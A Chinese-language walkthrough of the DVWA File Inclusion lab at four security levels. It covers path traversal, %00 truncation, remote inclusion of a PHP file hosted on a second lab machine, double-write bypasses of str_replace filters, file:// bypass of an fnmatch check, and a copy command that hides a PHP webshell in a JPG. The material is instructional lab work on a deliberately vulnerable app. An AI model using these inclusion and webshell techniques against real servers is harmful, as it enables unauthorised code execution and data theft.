索引目录:

Low

Medium

High

Impossible


文件包含,主要由于php.ini配置不严格,allow_url_fopen=On是导致文件包含的元凶之一 和php函数运用的严谨程度

php文件包含常用函数:

include: 包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行
include_once: 这个函数跟和include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含
require: 跟include唯一不同的是,当产生错误时候,整个php文件停止运行
require_once: require_once语句和require 语句完全相同,唯一区别是PHP会检查该文件是否已经被包含过,如果是则不会再次包含
php.ini配置文件: allow_url_fopen=off 即不可以包含远程文件。php4存在远程包含&本地包含,php5及以上仅存在本地包含
使用上面几个函数包含文件时,该文件将作为PHP代码执行,PHP内核并不在意被包含的文件是什么类型的。也就是说我们用这几个函数包含.jpg文件时,也会将其当做php文件来执行

Low

源代码:

<?php// The page we wish to display
$file = $_GET[ 'page' ];?>

从Low级别的代码我们可以看出,服务端对上传的的page参数没有任何过滤
注:服务器包含文件时,不管文件后缀是否是php,都会尝试当作php文件执行,如果文件内容确为php,则会正常执行并返回结果;如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行

漏洞利用:

1.本地包含:即包含本地文件

条件:开启allow_url_include

  • 首先我们尝试包含本地一个不存在的文件

    出现上图所示报错,从第一行警告我们可以看出它使用的是include函数,也直接爆出了含有include函数文件的位置
    从第二行我们可以看出没有找到指定文件

  • 我们再尝试包含一个存在的,在已经文件路径的前提下

  • 我们也可以尝试使用../来进行目录穿越(../表示返回上一层目录)

    已知test.php的绝对路径在F:\xampp\htdocs\dvwa\vulnerabilities\filetest\test.php
    我们当前在http://127.0.0.1:8008/dvwa/vulnerabilities/fi/下,由下图文件具体位置可以看出,一个../就i返回到了有filetest目录的目录

注:配置文件中的Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的
这种情况多用于必须要文件后缀是php,jpg,jpeg,png等,只是为了上传时表示存在,真正解析时直接截断

http://127.0.0.1/dvwa/vulnerabilities/fi/page=../../../../../xampp/htdocs/dvwa/php.ini
http://127.0.0.1/dvwa/vulnerabilities/fi/page=../../../../../xampp/htdocs/dvwa/php.ini%00test.php

由于本次实验时7.3.4版本,无法演示

2.远程文件包含,这里我自己用虚拟机搭了另一个服务器

条件:php.ini配置中,allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件


发现利用成功,如果此时这是一句话木马,我们就可以用菜刀或者蚁剑进行连接,获得webshell了

你还可以通过url编码进行隐秘操作:

Medium

源代码:

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );?>

Medium级别的代码增加了str_replace函数,对page参数进行了处理,将http:// 、https://、 ../、..\替换为空字符,即删除

漏洞利用:

  • 使用str_replace函数也不是绝对安全的,因为我们可以使用双写绕过替换规则

例如page=htthttp://p://192.168.13.130/hello.php时,str_replace函数只会删除一个http://,于是page=http://192.168.13.130/hello.php,成功执行远程命令
同时,因为替换的只是../..\,所以对采用绝对路径(就是不使用…/)的方式包含文件是不会受到任何限制的

1.本地文件包含

但是我们如果非要用…/呢?那么我们就可以双写绕过
例如使用http://127.0.0.1:8008/dvwa/vulnerabilities/fi/?page=..././filetest/test.php,这样str_replace只删除了一个../

但是http://127.0.0.1:8008/dvwa/vulnerabilities/fi/?page=../../filetest/test.php却不能执行,因为它直接检测到了两个../,所以利用双写绕过,不要单独连起来,要嵌套起来

2.远程文件包含
  • 双写绕过法
  • %68%74%74%70%3a%2f%2f192.168.13.130%2fhello.php尝试url编码进行包含
    经过编码后的url不能绕过替换规则,因为解码是在浏览器端完成的,发送过去的page参数依然是page=http://192.168.13.130/hello.php,因此读取失败

High

源代码:

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?>
fnmatch(pattern,string,flags):根据指定的模式来匹配文件名或字符串

pattern 必需 规定要检索的模式
string 必需 规定要检查的字符串或文件
flags 可选

High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。看似安全,但是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,file://F:/xampp/htdocs/dvwa/vulnerabilities/filetest/test.php,如下图:

如果是php文件,则不会解析而是显示其php代码,在html页面或源代码中

至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的php文件或jpg照片,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行,谨记,php的file://协议只能打开本地文件
图片插入一句话木马(b为二进制,a为ascii码)
copy xx.jpg/b +xx.php/a xxx.jpg,之后利用菜刀或蚁剑连接,连接时还需要先浏览网站,登陆账号,完成Session认证

Impossible

源代码:

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?>

Impossible级别代码使用了白名单机制进行防护,page参数必须为include.phpfile1.phpfile2.phpfile3.php之一,因此彻底消除了文件包含漏洞的产生

DVWA--File Inclusion(文件包含)--四个级别相关推荐

  1. pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)

    目录 一.来自官方的简介 二.来自小可爱的通关步骤 第一关  File Inclusion(local) 1.读取"隐藏"文件 2.读取系统文件 3.结合文件上传getshell ...

  2. PiKachu-File Inclusion(文件包含漏洞)

    概述 File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在P ...

  3. 结合pikachu和DVWA靶场学习文件包含漏洞

    结合pikachu和DVWA靶场学习文件包含漏洞 基本概念 包含的定义 文件包含的定义 相关函数 条件 分类 本地文件包含(Local File Inclusion,简称LFI) 定义 前提: 示例: ...

  4. DVWA之PHP文件包含漏洞(File Inclusion)

    PHP文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码.更多 ...

  5. DVWA File Inclusion——Writeup

    文件包含: 即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和i ...

  6. php伪协议语法,php文件包含漏洞(input与filter)

    php://input php://input可以读取没有处理过的POST数据.相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置.php:/ ...

  7. Pikachu靶场之文件包含漏洞详解

    Pikachu靶场之文件包含漏洞详解 前言 文件包含漏洞简述 1.漏洞描述 2.漏洞原因 3.漏洞危害 4.如何防御 第一关 File Inclusion(local) 1.尝试读取"隐藏& ...

  8. 皮卡丘File Inclusion

    1.File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PH ...

  9. base64 转文件_PHP伪协议与文件包含

    PHP伪协议与文件包含 PHP伪协议与文件包含 php:// 协议 php://input php://filter data:// 协议 file:// 协议 zip://.bzip2://.zli ...

最新文章

  1. gradle 上传jar包_gradle 打包jar上传到nexus 同时上传源码jar
  2. 我用 Python 帮朋友做了张图,结果
  3. Yet Another Multiple Problem 同余定理 bfs
  4. mysql安装使用--2 用户管理
  5. 2020年苹果App Store销售额达6430亿美元 同比增长24%
  6. mysql数据库表子查询语句_MySQL使用子查询教程
  7. datatable某一行第N列为空的时候删除某一行
  8. Activity去Title的几种方式
  9. Python发送邮件(Email SMTP)
  10. linux中date命令设置系统时间的方法-转
  11. IDO-SBC3019-V1B:PX30 超强 CPU 搭载 Android/Linux 系统(Android8.1)
  12. AI之NLP:自然语言处理技术简介(是什么/学什么/怎么用)、常用算法、经典案例之详细攻略(建议收藏)daiding
  13. recon-ng详细使用教程
  14. Solidity ——push mapping 探赜索隐
  15. 实时系统与分时系统的区别
  16. cura同时打印多个东西,cura同时打开多个模型,cura打开多个stl
  17. edge打开pdf不显示印章_一旦碰到Edge浏览器打不开pdf文件,只需这样做就可完美解决!...
  18. 优秀的计算机简历,计算机优秀简历范文
  19. 解决蓝牙耳机自动暂停播放音乐的问题
  20. 乘员舱热舒适度和车辆能量管理云技术研讨会圆满结束!

热门文章

  1. Vue学习小案例--分页组件封装
  2. 数据结构(四)---栈的顺序存储的实现---java版
  3. StringBuilder与StringBuffer比较
  4. trident State应用指南
  5. spark数据处理示例一:分类
  6. 密歇根州立大学联合字节提出AutoEmb用于流式推荐
  7. 聊聊高并发(四)Java对象的表示模型和运行时内存表示
  8. Spark的RDD操作之Join大全
  9. Python汉诺塔问题
  10. 网易云基于Prometheus的微服务监控实践